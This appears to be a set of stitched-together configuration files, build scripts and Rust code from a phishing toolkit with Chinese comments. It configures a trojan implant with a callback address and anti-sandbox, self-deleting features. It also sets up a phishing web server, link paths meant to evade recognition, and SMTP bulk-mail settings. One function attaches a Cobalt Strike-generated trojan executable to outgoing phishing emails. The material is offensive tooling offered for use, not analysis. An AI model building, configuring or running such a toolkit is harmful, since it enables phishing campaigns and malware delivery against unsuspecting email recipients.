[source.crates-io]
replace-with = 'tuna'

# 中国科学技术大学
[source.ustc]
registry = "https://mirrors.ustc.edu.cn/crates.io-index"
# >>> 或者 <<<
# registry = "git://mirrors.ustc.edu.cn/crates.io-index"

# 上海交通大学
[source.sjtu]
registry = "https://mirrors.sjtug.sjtu.edu.cn/git/crates.io-index/"

# 清华大学
[source.tuna]
registry = "https://mirrors.tuna.tsinghua.edu.cn/git/crates.io-index.git"

# rustcc社区
[source.rustcc]
registry = "https://code.aliyun.com/rustcc/crates.io-index.git"

# 编译时隐藏路径信息，避免用户名暴露  
# 注意！必须nightly版本才能使用。我给你先注释掉，有需要的话解开注释就行
# [build]
# rustflags = ["--remap-path-prefix", "C:\\Users\\YourName=~", "-Zlocation-detail=none"]

[env]
CLIENT_FEATURES = "db, mail, appendix, qrcode" # 可选：db mail appendix qrcode。多个feature以逗号隔开。详情见./client/Cargo.toml [features] (如果为空，则默认所有特性全部开启)

[env]
SERVER_FEATURES = "tls" # 可选：tls。详情见./server/Cargo.toml [features]

[appendix] # 木马配置
ip_or_domain="10.10.10.10"
port=3333
is_rc=true # 是否添加图标等资源
rc_path="resource.rc" # rc资源文件路径(相对路径以/appendix/为根路径)

[links] # 恶意链接配置。如果修改了，server和client均需要重新编译
index="/index/{id}" # 该配置可以修改钓鱼链接路径，避免钓鱼路径特征被对方记住。但请注意，{id}参数是必须的。默认为/index/{id}，发送的恶意链接格式为：http://xxxxx/index/xxid

[env]
APPENDIX_FEATURES = "selfdelete, noheap, antisandbox" # 可选项：debug noheap antisandbox ntdll selfdelete。详细解释见appendix/Cargo.toml的[features]

cd ./appendix
cargo make

[server]
ip = "0.0.0.0" #服务端监听ip
port = 8080 #服务端端口
is_ssl = true

[paths]
phish_page = "./frontend/test.html" #仿冒页面路径
redirect_url = "http://localhost:8080/success" #提交成功后，重定向的url
success_page = "./frontend/success.html" #路由`/success`下的成功页面路径，可以用于`paths.redirect_url`重定向
ssl_cert = "./certs/fullchain.pem" 
ssl_key = "./certs/privkey.pem"

[phishing_server]
ip_or_domain = "teamserver.com"
port = 80
is_ssl = true # 服务器是否启用https钓鱼链接

[smtp_server]
server = "smtp.126.com" # 服务器
username = "xxx@126.com" # 用户名
use_default_smtp_port = true # 根据目标服务使用默认smtp端口，一般建议为true
force_smtp_port = 25 # 上面设置为false时，强制使用特定端口。该情况避免目标服务器TLS版本老旧导致发送邮件报错，可以切换为25等端口

[email_sending]
subject = "Test Subject" # 邮件主题
from_email = "Test <xxx@126.com>" # 发件人
email_template = "template.html" # 邮件模板路径
interval = 5 # 每封邮件的时间间隔
use_appendix = true # 是否发送附件木马钓鱼
original_appendix_path = "./appendix.exe" # 木马模板路径
appendix_name_for_sending = "xxx" # 发送木马名称

[config]
skip_init_end_tasks = true
skip_core_tasks = true

[env]
CLIENT_FEATURES = "" # 可选：db mail appendix qrcode。多个feature以逗号隔开。详情见./client/Cargo.toml [features] (如果为空，则默认所有特性全部开启)

TARGET_GNU = "x86_64-pc-windows-gnu"
TARGET_GNU_x86 = "i686-pc-windows-gnu"
TARGET_LINUX = "x86_64-unknown-linux-gnu"
TARGET_MACOS = "aarch64-apple-darwin"

[tasks.default]
description = "Platform-specific client build"
dependencies = ["client-windows", "client-linux", "client-macos"]

[tasks.client-windows]
condition = { os = ["windows"] }
description = "Compiles the client for the Windows GNU target."
script_runner = "@duckscript"
script = '''
features = get_env CLIENT_FEATURES
if is_empty ${features}
    exec --fail-on-error cargo build --release --target ${TARGET_GNU} --all-features
else
    exec --fail-on-error cargo build --release --target ${TARGET_GNU} --features ${features}
end
'''

[tasks.client-linux]
condition = { os = ["linux"] }
description = "Compiles the client for the Linux target."
script_runner = "@duckscript"
script = '''
features = get_env CLIENT_FEATURES
if is_empty ${features}
    exec --fail-on-error cargo build --release --target ${TARGET_LINUX} --all-features
else
    exec --fail-on-error cargo build --release --target ${TARGET_LINUX} --features ${features}
end
'''

[tasks.client-macos]
condition = { os = ["macos"] }
description = "Compiles the client for the macos target."
script_runner = "@duckscript"
script = '''
features = get_env CLIENT_FEATURES
if is_empty ${features}
    exec --fail-on-error cargo build --release --target ${TARGET_MACOS} --all-features
else
    exec --fail-on-error cargo build --release --target ${TARGET_MACOS} --features ${features}
end
'''

fn add_attachment(
    html_content: &str,
    original_appendix_name_exe: &str,
    entry_id: &str,
    use_appendix: bool,
    appendix_name_for_sending: &str,
) -> Result<MultiPart, Box<dyn Error>> {
    let appendix_name_for_sending = ensure_exe_suffix(appendix_name_for_sending);
    let mpart = MultiPart::mixed()
        .singlepart(
            lettre::message::SinglePart::builder()
                .header(lettre::message::header::ContentType::TEXT_HTML)
                .body(html_content.to_string())
        );

    #[cfg(not(feature = "appendix"))]
    match use_appendix {
        true => {
            return Err(Box::new(std::io::Error::new(
                std::io::ErrorKind::NotFound,
                "你的程序没有编译appendix功能，不支持附件钓鱼，请修改你的配置文件"
            )))

        },
        false => {
            return Ok(mpart);
        }
    }

    #[cfg(feature = "appendix")]
    match use_appendix {
        true => {
            // 直接使用CS生成的木马文件，不进行改写
            let cs_generated_file = original_appendix_name_exe;
            
            // 验证文件存在
            if !Path::new(cs_generated_file).exists() {
                return Err(Box::new(std::io::Error::new(
                    std::io::ErrorKind::NotFound,
                    format!("CS生成的木马文件不存在: {}", cs_generated_file)
                )));
            }

            let path = Path::new(&appendix_name_for_sending);
            let mime_str = MimeGuess::from_path(path)
                .first_or_octet_stream()
                .essence_str().to_string(); 

            // 读取CS生成的木马文件内容
            let body = fs::read(cs_generated_file)?;

            crate::print_success(&format!("成功加载CS木马文件 {}", cs_generated_file));

            return Ok(mpart.singlepart(
                Attachment::new(appendix_name_for_sending.to_string())
                    .body(body, ContentType::parse(&mime_str)?)
            ))

        },
        false => {
            return Ok(mpart);
        }
    }
}